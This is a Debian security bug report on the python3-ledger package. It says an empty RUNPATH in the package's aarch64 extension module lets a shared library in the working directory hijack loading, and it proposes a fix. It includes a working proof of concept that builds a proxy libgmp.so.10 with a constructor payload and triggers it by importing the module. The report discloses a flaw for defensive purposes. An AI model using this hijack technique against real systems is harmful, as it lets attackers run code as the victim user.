Package: python3-ledger
Version: 3.4.0-1+b1
Severity: important
Tags: security
*Summary:*
The python3-ledger Debian package installs the Python extension module:
/usr/lib/python3/dist-packages/ledger.cpython-313-aarch64-linux-gnu.so
This library contains a RUNPATH consisting entirely of empty path elements:
RUNPATH [:::::::::::::::]
Empty entries in an ELF RUNPATH are interpreted by the dynamic linker as
the current working directory (CWD). As a result, when
ledger.cpython-313-aarch64-linux-gnu.so resolves its dependencies, the
dynamic linker searches the process working directory before falling back
to the system library paths.
This permits library search path hijacking if an attacker can place a
malicious shared library in a directory from which a victim executes
software that imports the ledger module.
*Impact:*
An attacker can cause execution of attacker-controlled code in the security
context of the user running the affected application.
Since python3-ledger provides Python bindings, a victim might execute a
Python script from a directory (such as a downloaded dataset, extracted
archive, shared workspace, or /tmp) that contains an attacker-controlled
shared library. If this occurs, the malicious library will be loaded and
executed before the legitimate system library.
This issue falls under CWE-427 (Uncontrolled Search Path Element).
*Proof of Concept:*
*1. Create an attacker-controlled workspace:*
$ mkdir -p /tmp/malicious_workspace
$ cd /tmp/malicious_workspace
*2. Create the malicious payload:*
$ cat << 'EOF' > poc_ledger.c
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void exploit() {
printf("\n[!!!] LEDGER HIJACK SUCCESSFUL [!!!]\n");
exit(0);
}
EOF
*3. Create a dummy version map to satisfy dependency version requirements:*
$ cat << 'EOF' > versions.map
GLIBC_2.17 { };
GLIBC_2.32 { };
EOF
*4. Build a proxy libgmp.so.10 library using DT_AUXILIARY so normal symbol
resolution continues:*
$ gcc -shared -fPIC poc_ledger.c \
-o libgmp.so.10 \
-Wl,-f,/usr/lib/aarch64-linux-gnu/libgmp.so.10 \
-Wl,--version-script=versions.map
*5. Create a Python script that imports the vulnerable library:*
$ cat << 'EOF' > trigger.py
import ledger
print("ledger imported successfully!")
EOF
*6. Execute the trigger from the malicious directory:*
$ python3 trigger.py
*Result:*
[!!!] LEDGER HIJACK SUCCESSFUL [!!!]
*Expected Fix:*
The package should not ship binaries containing empty path elements in
their RUNPATH. The RUNPATH entry should be removed or replaced with an
explicit trusted library path.